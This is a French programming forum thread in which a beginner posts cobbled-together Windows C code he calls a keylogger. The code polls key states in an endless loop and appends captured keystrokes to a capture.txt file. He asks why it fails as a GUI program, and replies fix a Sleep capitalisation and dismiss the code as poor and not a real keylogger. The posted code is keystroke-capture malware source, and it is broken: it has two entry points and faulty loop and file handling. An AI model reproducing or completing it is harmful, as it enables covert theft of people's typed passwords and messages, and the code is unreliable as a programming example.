Keylogger probleme code

Signaler
Messages postés
11
Date d'inscription
mardi 18 mars 2008
Statut
Membre
Dernière intervention
10 novembre 2009
-
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
-
bonjour,
J'ai un probleme lorsque je veux compiler ce code. Je suis débutant, mais j'ai réunis plusieur code et çà doit etre la le probleme. donc lorsque je compile il me met une erreur (je signalerais via une note).
Je précise je compile avec Dec-C++.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);

/*  Make the class name into a global variable  */
char szClassName[ ] = "WindowsApp";

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)

{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */

    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;      /* This function is called by windows */
    wincl.style = CS_DBLCLKS;                 /* Catch double-clicks */
    wincl.cbSize = sizeof (WNDCLASSEX);

    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                 /* No menu */
    wincl.cbClsExtra = 0;                      /* No extra bytes after the window class */
    wincl.cbWndExtra = 0;                      /* structure or the window instance */
    /* Use Windows's default color as the background of the window */
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    /* Register the window class, and if it fails quit the program */
    if (!RegisterClassEx (&wincl))
        return 0;

    /* The class is registered, let's create the program*/
    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "Windows App",       /* Title Text */
           WS_OVERLAPPEDWINDOW, /* default window */
           CW_USEDEFAULT,       /* Windows decides the position */
           CW_USEDEFAULT,       /* where the window ends up on the screen */
           1,                 /* The programs width */
           1,                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );

    /* Run the message loop. It will run until GetMessage() returns 0 */
    while (GetMessage (&messages, NULL, 0, 0))
    {
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
    }

    /* The program return-value is 0 - The value that PostQuitMessage() gave */
    return messages.wParam;
}

/*  This function is called by the Windows function DispatchMessage()  */

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)                  /* handle the messages */
    {
        case WM_DESTROY:
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;
        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;

}

/* Code of keylogger */

int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);

int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];

int main(int argc, char *argv[])
{
  int i, lettre, result, lastresult, lastletter, compteur;
 
 GetCurrentDirectory(256, fichier);
 strcat(fichier,"\\capture.txt");
 sortie = fopen(fichier,"a+");
 result=0;
 compteur=0;    //on initialise
 lastresult=0;
 i=0;
 
 while ( i==0 ) { //boucle sans fin
 lettre=13;
 for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
  
  
  
   //passer les caractères inutiles
   if ( lettre==14 ) lettre=20;
   if ( lettre==21 ) lettre=32;
   if ( lettre==33 ) lettre=48;
   if ( lettre==58 ) lettre=65;
   if ( lettre==91 ) lettre=96;
   if ( lettre==108 ) lettre=109;
   if ( lettre==112 ) lettre=186;
   if ( lettre==189 ) lettre=190;
   if ( lettre==193 ) lettre=219;
   if ( lettre==220 ) lettre=221;
   if ( lettre==222 ) lettre=223;
  
   result=GetKeyState(lettre);
 
  //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
   if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
   if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
  

  
   if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
    {
   TraiterLettre(lettre); //je ne sais plus trop mais ça marche
   lastresult=result;
   lastletter=lettre;
   lettre=13; sleep(50); // c'est ici que ça bug quand je compile
   }
  
 } //fin de test des lettres
    sleep(1);
 } //fin de la boucle sans fin
 
  return 0;
}

int ismaj() {
   
    if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
    return 1;
     else return 0;
    }

int ismajpressed() {
    int result;
   
    result=GetKeyState(VK_SHIFT );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }
   

int isalt() {
    int result;
   
    result=GetKeyState(VK_MENU );
    if ( ( result==-127 ) || ( result==-128 ) ) return 1;
     else return 0;
    }

void TraiterLettre(int lettre) {
     char towrite; //la lettre que l'on va écrire dans la console
     static int compteur = 0;
    
     //traitement des chiffres ( un décalage )
     if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
   
     //Les lettres sont envoyées comme majuscules, il faut faire un décalage
     else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
    
     //Sinon on écrit telle quelle la lettre
     else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
    
     else switch ( lettre ) {
          case 32 : if ( isalt() ) towrite=' ';
           else towrite=' ';
                break;
          case 48 : if ( isalt() ) towrite='@';
           else towrite='à';
               break;
          case 49 : towrite='&';
               break;
          case 50 : towrite='é';
               break;
          case 51 : if ( isalt() ) towrite='#';
           else towrite='"';
               break;
          case 52 : if ( isalt() ) towrite='{';
           else towrite=39; // '
               break;
          case 53 : if ( isalt() ) towrite='[';
           else towrite='(';
               break;
          case 54 : if ( isalt() ) towrite='|';
           else towrite='-';
               break;
          case 55 : towrite='è';
               break;
          case 56 : if ( isalt() ) towrite='\\';
           else towrite='_';
               break;
          case 57 : towrite='ç';
               break;
          case 219 : if ( isalt() ) towrite=']';
           else towrite=')';
               break;
           case 187 : if ( isalt() ) towrite='}';
            else towrite='=';
               break;
           case 186 : towrite='$';
               break;
           case 192 : towrite='%';
               break;
           case 188 : if ( ismaj() ) towrite='?';
            else towrite=',';
               break;   
           case 190 : if ( ismaj() ) towrite='.';
            else towrite=';';
               break;
           case 191 : if ( ismaj() ) towrite='/';
            else towrite=':';
               break;
           case 223 : towrite='!';
               break;
           case 111 : towrite='/';
               break;
           case 106 : towrite='*';
               break;
           case 109 : towrite='-';
               break;        
           case 107 : towrite='+';
               break;
           case 110 : towrite='.';
               break;    
          }
    
     // On affiche les lettres. exception : la touche entrée
     if ( lettre==13 ) fprintf(sortie,"\n");
     else fprintf(sortie,"%c",towrite);
     compteur++;
     if ( compteur==2 ) {
        fclose(sortie);
        fopen(fichier,"a");
        compteur=0;
        }
     }

Merci de votre aide.

By rebelattack

4 réponses

Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
27
Sleep(50);
Avec une MAJ.

ciao...
BruNews, MVP VC++
Messages postés
123
Date d'inscription
samedi 14 juillet 2007
Statut
Membre
Dernière intervention
29 mars 2009
1
Ce 'code' (si on peut appeler ça un code) est une horreur infâme.
Aucun rapport avec un keylogger
Ce n'est pas en copiant n'importe quoi que tu vas apprendre à programmer.
Lis le K&R et le Petzold pour avoir au moins les bases...
Messages postés
11
Date d'inscription
mardi 18 mars 2008
Statut
Membre
Dernière intervention
10 novembre 2009

Pourquoi ce code est une horreur, enfait quand je le compile en apli console il marche très bien mais en fenêtre ça marche pas. Je vais essayer de mette une majuscule merci brunews. je vous tient au courant
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
27
Il est certain que tout cela n'a rien à voir avec un keylogger, je ne vois pas l'ombre d'un hook clavier.

En mode GUI, ta WindowProcedure() ne faisant rien, il est normal que tu n'obtiennes rien.
Comme dit plus haut:
- Plonge toi dans Petzold et tu comprendras les messages Windows.
- Une boucle sans fin est une horreur en prog, il faut laisser aux gens leur CPU.

ciao...
BruNews, MVP VC++